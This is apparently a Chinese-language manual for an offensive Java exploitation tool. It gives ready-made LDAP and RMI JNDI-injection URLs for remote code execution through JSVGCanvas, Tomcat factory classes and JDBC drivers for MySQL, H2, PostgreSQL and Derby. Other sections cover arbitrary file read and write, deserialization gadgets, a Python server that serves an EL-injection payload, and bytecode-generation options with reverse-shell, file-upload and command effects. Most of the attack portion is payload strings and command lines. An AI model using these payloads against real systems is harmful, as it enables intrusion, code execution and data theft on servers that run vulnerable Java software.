描述:org.apache.batik.swing.JSVGCanvas的setURI方法可以远程加载svg文件,然后远程svg文件绑定远程jar包地址即可实现任意代码执行。正好org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory的getObjectInstance可以调用setURI方法实现利用。org.apache.batik.bridge.BaseScriptingEnvironment#loadScript方法中会读取远程jar包中MANIFEST.MF文件SVG-Handler-Class指定的类名进行加载并实例化。所以jar包中只需要写个普通的恶意类就行也不要继承或者实现什么接口:
工具:JSVGCanvas后面直接写漏洞利用效果
ldap://127.0.0.1:1389/Setter/JSVGCanvas/auto_cmd/calc
ldap://127.0.0.1:1389/Setter/JSVGCanvas/auto_cmd/Y2FsYw==
# sleep效果经过测试发现不成功,目前不知道原因,所以改为httplog的形式检测
ldap://127.0.0.1:1389/Setter/JSVGCanvas/httplog/http://127.0.0.1:8000/123
ldap://127.0.0.1:1389/Setter/JSVGCanvas/httplog/aHR0cDovLzEyNy4wLjAuMTo4MDAwLzEyMw==JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory
描述:org.apache.catalina.users.MemoryUserDatabaseFactory 该类位于 tomcat-embed-core 中算是比较通用的类。MemoryUserDatabaseFactory#getObjectInstance方法可以根据pathname和readonly参数创建文件并且二者都来自于 Reference 对象。
使用该工厂类需要满足以下条件:
- 需要目标服务器HTTP出网
- 写文件的上级目录必须存在
MemoryUserDatabaseFactory写文件的关键代码如下:
- 创建fileNew文件(路径为"catalina.base"属性的路径 + pathnameNew文件名),pathnameNew文件名为 pathname 加后缀
.new(即 ../../../../poc.jsp.new) - isWriteable() 方法判断 fileNew 所在的目录是否存在且可写。如果满足则返回true
- 文件被重命名为原始名称,删除扩展名
.new
public void save() {
...
if (!isWriteable()) { // 8
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
return;
}
File fileNew = new File(this.pathnameNew); // 9
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}
this.writeLock.lock();
try {
try(FileOutputStream fos = new FileOutputStream(fileNew);
OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8);
PrintWriter writer = new PrintWriter(osw)) {
writer.println("<?xml version='1.0' encoding='utf-8'?>");
writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");
writer.print(" ");
writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
writer.print(" ");
writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
writer.println(" version=\"1.0\">");
values = null;
values = getRoles();
while (values.hasNext()) {
writer.print(" ");
writer.println(values.next()); // 10
}
values = getGroups();
while (values.hasNext()) {
writer.print(" ");
writer.println(values.next());
}
values = getUsers();
while (values.hasNext()) {
writer.print(" ");
writer.println(((MemoryUser)values.next()).toXml());
}
} catch (IOException e) {
...
}
this.lastModified = fileNew.lastModified();
} finally {
this.writeLock.unlock();
}
...
File fileOrig = new File(this.pathname);
...
if (!fileNew.renameTo(fileOrig)) { // 11
if (fileOld.exists() &&
!fileOld.renameTo(fileOrig)) {
log.warn(sm.getString("memoryUserDatabase.restoreOrig", new Object[] { fileOld }));
}
throw new IOException(sm.getString("memoryUserDatabase.renameNew", new Object[] { fileOrig
.getAbsolutePath() }));
}
if (fileOld.exists() && !fileOld.delete()) {
throw new IOException(sm.getString("memoryUserDatabase.fileDelete", new Object[] { fileOld }));
}
}限制:依托于MemoryUserDatabaseFactory工厂类,写入的文件中会有多余的内容。
工具:一般来说JNDI写文件用的不是太多,再加上MemoryUserDatabaseFactory打法稍微复杂下所以没有适配WebServer。目前打法如下:
HTTP服务器开启监听:JNDI客户端会读取rolename中的内容然后写入文件中,我们或许可以写入EL表达式进行利用
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class el(BaseHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.lower().strip().endswith('/poc.jsp'):
print("(+) request recieved: %s" % self.path)
message = """<tomcat-users>
<role rolename="${Runtime.getRuntime().exec('calc')}" />
</tomcat-users>"""
self.send_response(200)
self.end_headers()
self.wfile.write(message.encode('utf-8'))
self.wfile.write('\n'.encode('utf-8'))
return
if __name__ == '__main__':
HTTPServer(('127.0.0.1', 1337), el).serve_forever()攻击payload:
rmi://127.0.0.1:1099/WriteFile/http://127.0.0.1:1337/../../../../../../../../../SUCCESS/poc.jsp
rmi://127.0.0.1:1099/WriteFile/aHR0cDovLzEyNy4wLjAuMToxMzM3Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1NVQ0NFU1MvcG9jLmpzcA==在很多的数据库连接池中都有Factory工厂类继承自ObjectFactory,而这些工厂类又都和数据库连接相关,所以可通过数据库连接池的工厂类进行JDBCAttack攻击。
- Commons DBCP:CommonsDBCP1(org.apache.commons.dbcp.BasicDataSourceFactory)/CommonsDBCP2(org.apache.commons.dbcp2.BasicDataSourceFactory)
- Tomcat DBCP:TomcatDBCP1(org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory)/TomcatDBCP2(org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory)
- Alibaba Druid:Druid(com.alibaba.druid.pool.DruidDataSourceFactory)
- HikariCP:HikariCP(com.zaxxer.hikari.HikariJNDIFactory)
- Tomcat JDBC:TomcatJDBC(org.apache.tomcat.jdbc.pool.DataSourceFactory)
将jndi连接串URL中的Factory替换为 CommonsDBCP1/CommonsDBCP2/TomcatDBCP1/TomcatDBCP2/Druid/HikariCP 其中之一
mysql-connector-java客户端连接读文件和触发Java反序列化的打法也是很经典,像Fastjson反序列化利用链中也有它的影子
描述:关于mysql-connector-java客户端连接触发Java反序列化不同的mysql-connector-java客户端连接版本是用不同的属性来触发,在(5.1.19-5.1.48, 6.0.2-6.0.6)版本是用detectCustomCollations来触发。
工具:
# detectCustomCollations (5.1.19-5.1.48, 6.0.2-6.0.6)
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize1/127.0.0.1/3306/root描述:在mysql-connector-java客户端的一些版本使用ServerStatusDiffInterceptor属性来触发的,但是ServerStatusDiffInterceptor对应的属性值也是不同的,所以分成下面几种:
- 5.1.11-5.1.48:statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
- 6.0.2-6.0.6:statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- 8.0.7-8.0.19:queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
工具:
# ServerStatusDiffInterceptor
# 5.1.11-5.1.48
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize2/127.0.0.1/3306/root
# 6.0.2-6.0.6
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize3/127.0.0.1/3306/root
# 8.0.7-8.0.19
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize4/127.0.0.1/3306/root描述:https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html。在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。适用于mysql-connector-java全版本。关于Mysql连接读文件的原理可以参考:MySQL任意文件读取。
工具:FileRead后面依次跟ip端口和连接名
# 全版本
ldap://127.0.0.1:1389/Factory/MySQL/FileRead/127.0.0.1/3306/root描述:H2 DataBase支持内存数据库所以不需要单独开启数据库服务器,通过H2 JDBC URL的INIT参数执行SQL语句
- H2数据jdbc连接有三种利用方式 RCE: CREATE ALIAS + Java/Groovy, CREATE TRIGGER + JavaScript,当然还有远程加载sql文件来RCE
描述:H2 Create Alias打法可以执行Java代码
工具:工具引用JdbcAttack模块的H2CreateAlias链进行漏洞利用
# CREATE ALIAS + Java
ldap://127.0.0.1:1389/Factory/H2CreateAlias/sleep/5
ldap://127.0.0.1:1389/Factory/H2CreateAlias/auto_cmd/calc
#反弹Shell
ldap://127.0.0.1:1389/Factory/H2CreateAlias/reverse_shell/127.0.0.1:2333
# 加载一个字节码只能打多次
ldap://127.0.0.1:1389/Factory/H2CreateAlias/unsafe_defineAnonymousClass/class_file:<class_file_path>
ldap://127.0.0.1:1389/Factory/H2CreateAlias/unsafe_defineanonymousclass/Y2xhc3NfZmlsZTovdG1wL1QzNjMwNDU2MTU1MTAwLmNsYXNz
# 加载一个字节码只能打一次
ldap://127.0.0.1:1389/Factory/H2CreateAlias/classloader_defineclass/class_file:<class_file_path>
ldap://127.0.0.1:1389/Factory/H2CreateAlias/classloader_defineclass/Y2xhc3NfZmlsZTovdG1wL1QzNjMwNDU2MTU1MTAwLmNsYXNz描述:H2 Create Alias + Groovy打法可以执行Groovy表达式
工具:工具引用JdbcAttack模块的H2Groovy链进行漏洞利用
# CREATE ALIAS + Java
ldap://127.0.0.1:1389/Factory/H2Groovy/sleep/5
ldap://127.0.0.1:1389/Factory/H2Groovy/auto_cmd/calc
# 加载一个字节码只能打多次
ldap://127.0.0.1:1389/Factory/H2Groovy/class_file/class_file:<class_file_path>
ldap://127.0.0.1:1389/Factory/H2Groovy/class_file/Y2xhc3NfZmlsZTovdG1wL1QzNjMwNDU2MTU1MTAwLmNsYXNz描述:H2 Create Alias + JavaScript打法可以执行JavaScript表达式
工具:工具引用JdbcAttack模块的H2JavaScript链进行漏洞利用
# CREATE ALIAS + Groovy
ldap://127.0.0.1:1389/Factory/H2JavaScript/sleep/5
ldap://127.0.0.1:1389/Factory/H2JavaScript/auto_cmd/calc
ldap://127.0.0.1:1389/Factory/H2JavaScript/class_file/class_file:<class_file_path>
ldap://127.0.0.1:1389/Factory/H2JavaScript/class_file/Y2xhc3NfZmlsZTovdG1wL1QzNjMwNDU2MTU1MTAwLmNsYXNz描述:PostgreSQL与其它数据库的JDBC Driver相同,PostgreSQL JDBC Driver也支持很多property,通过PostgreSQL的连接有俩种漏洞利用方式。关于这部分可以学习pyn3rd师傅的Make JDBC Attacks Brilliant Again 番外篇文章
-
socketFactory和socketFactoryArg属性,也可以使用sslFactory/sslFactoryArg。利用效果为实例化类
- 影响范围:REL9.4.1208 <= PostgreSQL <42.2.25,42.3.0 <= PostgreSQL < 42.3.2
-
loggerLevel/loggerFile属性。利用效果为:
- 影响范围:42.1.0 <= PostgreSQL <42.3.3
工具:使用方式如下
描述:socketFactory+socketFactoryArg配置可以实例化一个类,要求该类构造方法只有一个参数且是String类型。ClassPathXmlApplicationContext和FileOutputStream就是很好的辅助类,ClassPathXmlApplicationContext可以远程加载文件执行SPEL表达式,FileOutputStream可以创建空文件
工具:使用方式如下
# PostgreSQL ClassPathXmlApplicationContext打ProcessBuilder.start命令执行
ldap://127.0.0.1:1389/Factory/PostgreSQL/Command/calc
ldap://127.0.0.1:1389/Factory/PostgreSQL/Command/Y2FsYw==
# PostgreSQL ClassPathXmlApplicationContext打SPEL自定义代码执行
ldap://127.0.0.1:1389/Factory/PostgreSQL/SPEL/sleep/5
ldap://127.0.0.1:1389/Factory/PostgreSQL/SPEL/auto_cmd/calc
# 加载一个字节码只能打多次
ldap://127.0.0.1:1389/Factory/PostgreSQL/SPEL/unsafe_defineAnonymousClass/class_file:<class_file_path>
ldap://127.0.0.1:1389/Factory/PostgreSQL/SPEL/unsafe_defineanonymousclass/Y2xhc3NfZmlsZTovdG1wL1QzNjMwNDU2MTU1MTAwLmNsYXNz
# 加载一个字节码只能打一次,classloader_defineclass有bug暂时没有适配,有时间再研究,但是classloader_defineclass在H2CreateAlias场景下没问题
ldap://127.0.0.1:1389/Factory/PostgreSQL/SPEL/classloader_defineclass/class_file:<class_file_path>
ldap://127.0.0.1:1389/Factory/PostgreSQL/SPEL/classloader_defineclass/Y2xhc3NfZmlsZTovdG1wL1QzNjMwNDU2MTU1MTAwLmNsYXNz
# PostgreSQL FileOutputStream创建空文件(URL编码)
ldap://127.0.0.1:1389/Factory/PostgreSQL/FileOutputStream/{filename}描述:PostgreSQL的loggerLevel属性会向指定路径写入文件
工具:如下连接串ysoSimple会读取{path}文件内容,最后漏洞利用时PostgreSQL会将该文件内容写在目标系统的{filepath}指定的文件中
# PostgreSQL loggerfile任意写文件
ldap://127.0.0.1:1389/Factory/PostgreSQL/LoggerFile/{filepath}/{path}
ldap://127.0.0.1:1389/Factory/PostgreSQL/LoggerFile/D:\\source\\sour.txt//tmp/dest.txt
ldap://127.0.0.1:1389/Factory/PostgreSQL/LoggerFile/RDpcXHNvdXJjZVxcc291ci50eHQ=/L3RtcC9kZXN0LnR4dA==描述:因为Derby数据库也支持内存数据库,所以可以使用 jdbc:derby:memory:<database> 形式的 JDBC URL 以在内存中创建数据库。尽量避免多次Create数据库,每次使用完都Drop数据库释放内存。关于Derby的漏洞利用是通过执行SQL语句来RCE。跟着大师傅们的学习,总共有三种RCE的方式:
- 直接加载java字节码RCE:https://t.zsxq.com/DnaDf
- 远程加载jar包:derby数据库如何实现RCE
- 落地jar包加载:https://t.zsxq.com/nFGsQ
这三种利用方式都涉及到多条SQL语句执行。有的数据库连接池支持一次性支持多条SQL语句,有的一次只能执行一条SQL语句。HikariCP 的 connectionInitSql 参数一次性只能执行一条 SQL 语句,所以漏洞利用方式得分开写。TomcatJDBC 的 DataSourceFactory 中的 initSql 参数一次性也只能一条 SQL 语句。Druid DataSourceFactory 之类的Factory中 initConnectionSqls 参数支持一次性执行多个SQL语句,所以只用一次就成。
Druid DataSourceFactory
# 1. 通过SQL语句直接执行字节码进行漏洞利用(携带create=true参数自动创建数据库)
ldap://127.0.0.1:1389/Druid/Derby/Inject/{database}/{explot}/{impact}
ldap://127.0.0.1:1389/Druid/Derby/Inject/Evil/auto_cmd/calc
# 2. 删除数据库以释放内存
ldap://127.0.0.1:1389/Druid/Derby/Drop/<database>
ldap://127.0.0.1:1389/Druid/Derby/Drop/EvilHikariCP/TomcatJDBC
因为HikariCP和TomcatJDBC连接池一次只能执行一条sql,所以需要连续jndi注入。下面的TypeClass,TypeObject,TypeClassLoader,FunBase64,FunClassLoader,FunDefineClass,CreateTable可以放到Yakit中来Fuzz。以 TomcatJDBC 来举例:
# 安装数据库
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Inject/Single/Evil/auto_cmd/calc
# 创建Type和Function
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Inject/SingleSQL/Evil/TypeClass
TypeClass
TypeObject
TypeClassLoader
FunBase64
FunClassLoader
FunDefineClass
CreateTable
# 触发Insert语句,也就是触发漏洞利用效果
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Inject/SingleSQL/Evil/Insert
# 删除数据库
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Drop/EvilDruid DataSourceFactory
# 1. 通过远程加载Jar包进行漏洞利用(携带create=true参数自动创建数据库)
ldap://127.0.0.1:1389/Druid/Derby/Install/Remote/{database}/{explot}/{impact}
ldap://127.0.0.1:1389/Druid/Derby/Install/Remote/Evil/auto_cmd/calc
# 2. 删除数据库以释放内存
ldap://127.0.0.1:1389/Druid/Derby/Drop/<database>
ldap://127.0.0.1:1389/Druid/Derby/Drop/EvilHikariCP/TomcatJDBC
因为HikariCP和TomcatJDBC连接池一次只能执行一条sql,所以需要连续jndi注入。下面的AddClassPath和CreateProcedure可以放到Yakit中来Fuzz。以 TomcatJDBC 来举例:
# 安装数据库
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Install/Remote/Single/Evil/auto_cmd/calc
# 添加ClassPath和创建Procedure
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Install/Remote/SingleSQL/Evil/AddClassPath
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Install/Remote/SingleSQL/Evil/CreateProcedure
# 触发Procedure,也就是触发漏洞利用效果
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Install/Remote/SingleSQL/Evil/CallProcedure
# 删除数据库
ldap://127.0.0.1:1389/TomcatJDBC/Derby/Drop/EvilDerby连接打主从复制Slave触发Java反序列化,尽量避免多次Create数据库,每次漏洞利用完都Drop数据库释放内存。
# 1.创建内存数据库
ldap://127.0.0.1:1389/Factory/Derby/Create/<database>
# 2.启动恶意Derby Server
java -cp ysoSimple.jar cn.butler.jndi.server.DerbyServer -g "CommonsCollections6" -a "raw_cmd:calc"
# 3.指定 Slave 信息, ip:port即为上面DerbyServer的地址, database即为上面创建的数据库名称
ldap://127.0.0.1:1389/Factory/Derby/Slave/<ip>/<port>/<database>
# 4.删除数据库以释放内存
ldap://127.0.0.1:1389/Factory/Derby/Drop/<database>启动内置的恶意 Derby Server
Usage: java -cp ysoSimple.jar cn.butler.jndi.server.DerbyServer [-p <port>] [-g <gadget>] [-a <payload>] [-h]-p: Derby Server 监听端口, 默认为 4851
-g: 指定 Gadget, 如 CommonsCollections6
-a: 指定利用链的payload,如raw_cmd:calc
-h: 获取使用方式
描述:LDAP反序列化的攻击流程先让受害者的JNDI服务访问恶意LDAP服务器,然后LDAP服务器返回恶意的序列化数据,受害者反序列化二进制流完成攻击。该LDAP反序列化受限制于isSerialDataAllowed方法,也就是系统属性com.sun.jndi.ldap.object.trustSerialData,在jdk20+开始该属性默认值为true。但jdk20+之后可以通过构造javaFactory属性打本地工厂类继续攻击。
限制:受限制于com.sun.jndi.ldap.object.trustSerialData属性
工具:支持使用YsoAttack中的利用链进行攻击,Deserialize后的第一个路径为Gadget利用链,第二个路径为利用链的arg参数
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils2/Templateslmpl:auto_cmd:calc
ldap://127.0.0.1:1389/Deserialize/FindGadgetByDNS/g11ksb.dnslog.cn描述:对于LDAP协议的JNDI注入, 如果利用本地ObjectFactory绕过, 目前已有的方法是将LDAP协议返回的javaSerializedData属性设置为 Reference 对象的序列化数据。
自JDK17开始官方新增https://docs.oracle.com/en/java/javase/17/docs/api/java.naming/module-summary.html了`com.sun.jndi.ldap.object.trustSerialData`属性但是该属性的默认值是true,依然可使用 javaSerializedData进行利用。在随后的 JDK 20 https://docs.oracle.com/en/java/javase/20/docs/api/java.naming/module-summary.html开始将 com.sun.jndi.ldap.object.trustSerialData 参数默认为 false, 即无法通过 javaSerializedData 属性设置序列化数据 Reference 对象来利用。至此LDAP打反序列化和LDAP打本地工厂类都失效。
但是研究发现可通过的 LDAP 的 javaReferenceAddress 属性使得服务端直接返回 Reference 对象, 因为不涉及 javaSerializedData 属性, 所以也绕过了 trustSerialData 属性的限制。
注意:上述说的是javaSerializedData属性的对抗,在<JDK20之前都是可以利用的。在jdk20之后使用 com.sun.naming.internal.ObjectFactoriesFilter 做了一层默认的过滤器,过滤器中要求即使在trustSerialData属性为true的情况下,也不能在对远程工厂类进行实例化。

LDAPServer部分的代码:
public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
// ......
Reference ref = (Reference) result;
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
posn ++;
}
// ......
}工具:使用时指定 -useReferenceOnly 参数即可让LDAP服务使用 javaReferenceAddress 直接返回Reference对象
-m JNDIAttack -jndi-useReferenceOnly描述:这个是和1ue师傅学习的,属于RMI中的JRMP攻击手法因为是JRMP层的攻击,所以不会受到jep290限制。我本地测试的jdk8u65,jdk8u381,jdk17u8,jdk21都可以打通。直接开启JRMPListener作为服务端
工具:使用方式
- JRMPListener开启RMI服务端监听:
java -cp ysoSimple.jar cn.butler.yso.exploit.JRMPListener 1234 CommonsCollections6 "raw_cmd:calc"RMI Payload:
rmi://127.0.0.1:1234/Basic很多漏洞利用效果都涉及到字节码执行,ysoSimple工具提供字节码生成模块
字节码生成支持如下额外的参数:
-
className:为生成的字节码设置类名
-
superClassName:为生成的字节码设置父类
-
interfaceName:为生成的字节码设置实现类
-
classModify:JavaWrapper,对生成的字节码做特殊的修饰
- JavaWrapper:将字节码的功能放到JavaWrapper#_main方法中,Hessian反序列化利用链BCEL需要
-
encode:Hex,Base64,BCEL编码,JS-JavaCode模板,SPEL-JSCode模板
- JS-JavaCode:JS执行Java代码
- SPEL-JSCode-JavaCode:SPEL使用JS表达式执行Java代码
- Groovy-JavaCode-UtilBase64:Groovy直接调用unsafe模式来加载java代码,java.util.Base64解密方案
- Groovy-JavaCode-MiscBase64:Groovy直接调用unsafe模式来加载java代码,sun.misc.BASE64Decoder解密方案
- GroovyShell-JSCode-JavaCode:Groovy使用JS表达式执行Java代码,JS表达式使用Unsafe调用Java代码模式才能在Groovy中执行成功
-
fileModify:将生成的字节码转存特殊的文件格式中,XSTL文件转存
- XSTL:将字节码放入XSTL文件中方便使用,Hessian反序列化利用链XSTL需要
- ClassPathXml:将字节码放入xml文件中方便使用,ClassPathXmlApplicationContext实例化RCE需要
-
jarPayload:ScriptEngineFactory,CommonJar
- ScriptEngineFactory的SPI类型Jar包输出,内部执行Java代码
- JSVGJar的JSVGCanvas类型Jar包输出,内部执行Java代码
- CommonJar一般类型的Jar包输出,内部执行Java代码
-
writeToFile:写入到文件中
描述:对生成的字节码类进行修饰,有些漏洞利用需要设置指定类名,如:SPEL高版本加载的字节码类需要是org.springframework.expression包下面的
工具:使用className参数,后面跟着全限定类名
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -className "org.springframework.expression.Test1"
-m ThirdPartyAttack -g CustomClass -a "reverse_shell:192.168.133.1:2333" -className "Test1"描述:对生成的字节码类进行修饰,有些漏洞利用需要继承父类,如:TemplatesImpl加载的字节码类需要继承AbstractTranslet
工具:使用superCLassName参数,后面跟着全限定类名
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -superClassName "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"描述:对生成的字节码类进行修饰,有些漏洞利用执行的字节码需要实现某些接口
工具:使用interfaceName参数,后面的参数值跟着全限定接口名
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -interfaceName "javax.script.ScriptEngineFactory"描述:对生成的字节码类进行修饰,目前工具仅支持JavaWrapper,该参数会将字节码的功能放到JavaWrapper#_main方法中
工具:使用classModify参数,后面的参数值跟着JavaWrapper
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -classModify "JavaWrapper"描述:将生成的字节码进行编码输出,Hex,Base64,BCEL编码。或者套用JS-JavaCode模板,SPEL-JSCode模板
工具:使用encode参数,后面跟着Base64,Hex,BCEL,JS-JavaCode,SPEL-JSCode-JavaCode,Groovy-JavaCode-UtilBase64,Groovy-JavaCode-MiscBase64,Groovy-JSCode-JavaCode
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "Base64"
-m ThirdPartyAttack -g CustomClass -a "sleep_detect_class:java.lang.String:5" -encode="Base64"-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "Gzip+Base64"-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "BCEL"-
JS-JavaCode:使用Classloader#defineClass进行类加载
-
JS-defineAnonymousClass-JavaCode:使用Unsafe类defineAnonymousClass方法进行类加载。不过这里需要注意,17>JDK>8时(JDK8及以下无此限制),defineAnonymousClass做了限制,被加载的Class要满足两个条件之一:
- 没有包名
- 包名跟第一个参数Class的包名一致(在同一包下),否则会报错
因为ysoSimple生成的字节码自动没有包名所以无需担心这个问题
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "JS-JavaCode"
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "JS-defineAnonymousClass-JavaCode"- SPEL-JavaCode:SPEL-JavaCode,适用于jdk低版本运行的spel表达式环境。Payload中使用java.util.Base64进行解码字节码。
- SPEL-JSCode-JavaCode:使用Spel执行js表达式然后再字节码加载,适用于jdk低版本运行的spel表达式环境。
- SPEL-JavaCode-JDKHigh:
- 使用Spel直接进行字节码加载。
- 这个Payload不适用于jdk8环境的利用,适用于jdk高版本(jdk17)运行的spel表达式环境。jdk高版本下org.springframework.cglib.core.ReflectUtils#defineClass有五个利用参数。低版本有4个所以不能低版本利用。
- 工具会生成俩种Payload,一种gzip压缩字节码,一种base64加载字节码。
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "SPEL-JavaCode"
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "SPEL-JSCode-JavaCode"
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "SPEL-JavaCode-JDKHigh"- Groovy-JavaCode-UtilBase64:Groovy使用java.util.Base64解码字节码然后使用Unsafe进行字节码加载。
- Groovy-JavaCode-MiscBase64:Groovy使用sun.misc.BASE64Decoder解码字节码然后使用Unsafe进行字节码加载。
- Groovy-JSCode-JavaCode:Groovy使用ScriptEngineManager执行Java字节码
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "Groovy-JavaCode-UtilBase64"
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "Groovy-JavaCode-MiscBase64"
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "Groovy-JSCode-JavaCode"描述:将生成的字节码转存特殊的文件格式中,XSTL文件转存,Hessian反序列化有XSTL文件加载的利用链。ClassPathXml,生成ClassPathXmlApplicationContext解析的XML文件
工具:使用fileModify参数,可以使用writeToFile参数输出到文件
生成XSTL文件
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -fileModify "XSTL" -writeToFile "/tmp/evil.xstl"生成ClassPathXmlApplicationContext解析的XML文件
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -fileModify "ClassPathXml" -writeToFile "/tmp/evil.xstl"描述:有些漏洞利用是远程jar包加载,工具支持ScriptEngineFactory和JSVGJar和CommonJar三种jar包类型输出
工具:使用方式如下:必须带有writeToFile参数,参数值为目录名
生成ScriptEngineFactory类型的jar包:
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -jarPayload "ScriptEngineFactory" -writeToFile "/tmp/"生成JSVGJar类型的jar包:
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -jarPayload "JSVGJar" -writeToFile "/tmp/"描述:将生成的字节码写入到指定文件
工具:使用writeToFile参数,后面跟着目录名
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -encode "BCEL" -writeToFile "/tmp/"描述:生成指定漏洞利用功能的字节码
工具:args参数跟着漏洞利用参数中的字节码执行漏洞利用效果参数,必须带有writeToFile参数,参数值为目录名。使用方式:
-m ThirdPartyAttack -g CustomClass -a "auto_cmd:calc" -writeToFile "/tmp/"
-m ThirdPartyAttack -g CustomClass -a "reverse_shell:127.0.0.1:2333" -writeToFile "/tmp/"工具对CommonsCollections链使用InvokerTransformer执行非TemplatesImpl链的参数:
- sleep 生成延时payload
- dnslog 生成dnslog payload
- httplog 生成httplog payload
- raw_cmd 原生的命令执行
- win_cmd 在windows下执行命令
- linux_cmd 在linux下执行命令
- bcel 注入bcel字符串,实现代码执行
- bcel_class_file 通过文件注入
- bcel_with_args 注入bcel字符串和参数,实现代码执行
- script_file 通过js引擎执行代码
- script_base64 通过js引擎执行代码
- upload_file 上传文件,通过文件名
- upload_file_base64 上传文件,通过文件base64内容
- loadjar 调用jar中类的无参构造器
- loadjar_with_args 调用jar中类的参数为一个String的构造器
- jndi jndi注入
工具对字节码执行漏洞利用效果支持的参数:
-
sleep 生成延时payload
-
dnslog 生成dnslog payload
-
httplog 生成httplog payload
-
sleep_detect_class 使用延迟探测某个类是否存在
-
raw_cmd 原生的命令执行
-
win_cmd 在windows下执行命令
-
linux_cmd 在linux下执行命令
-
class_file 从系统路径中注入class文件,执行class代码
-
class_base64 注入class base64编码内容,执行class代码
-
code_file 注入要执行的代码
-
code_base64 注入要执行代码的base64编码
-
bcel 注入bcel字符串,实现代码执行
-
bcel_class_file 通过文件注入
-
bcel_with_args 注入bcel字符串和参数,实现代码执行
-
script_file 通过js引擎执行代码
-
script_base64 通过js引擎执行代码
-
upload_file 上传文件,通过文件名
-
upload_file_base64 上传文件,通过文件base64内容
-
loadjar 调用jar中类的无参构造器
-
loadjar_with_args 调用jar中类的参数为一个String的构造器
-
jndi jndi注入
-
reverse_shell 反弹Shell
-
system_set_property 设置系统属性
-
system_property_classloader 对系统属性中存放的字节码进行类加载(Shiro分块写马加载使用)
-
shiro_tomcat_loadclass tomcat中间件场景下从请求参数中读取字节码进行加载
-
shiro_spring_loadclass springmvc中间件场景下从请求参数中读取字节码进行加载
-
unsafe_defineanonymousclass 使用unsafe的defineanonymousclas方法对字节码进行加载,字节码从下面俩个参数中读取
- class_file 从系统路径中注入class文件,执行class代码
- class_base64 注入class base64编码内容,执行class代码
-
classloader_defineclass 使用线程上下文的classloader方法对字节码进行加载,字节码从下面俩个参数中读取
- class_file 从系统路径中注入class文件,执行class代码
- class_base64 注入class base64编码内容,执行class代码
-
springframework_echo 生成SpringFramework的Runtime命令回显代码
有些利用链是用Java代码执行来造成漏洞利用的,如H2的Create Alias进行Java代码执行,这种情况执行如下参数:
-
sleep 生成延时payload
-
dnslog 生成dnslog payload
-
httplog 生成httplog payload
-
sleep_detect_class 使用延迟探测某个类是否存在
-
raw_cmd 原生的命令执行
-
win_cmd 在windows下执行命令
-
linux_cmd 在linux下执行命令
-
bcel 注入bcel字符串,实现代码执行
-
bcel_class_file 通过文件注入
-
bcel_with_args 注入bcel字符串和参数,实现代码执行
-
script_file 通过js引擎执行代码
-
script_base64 通过js引擎执行代码
-
upload_file 上传文件,通过文件名
-
upload_file_base64 上传文件,通过文件base64内容
-
loadjar 调用jar中类的无参构造器
-
loadjar_with_args 调用jar中类的参数为一个String的构造器
-
jndi jndi注入
-
reverse_shell 反弹Shell
-
system_set_property 设置系统属性
-
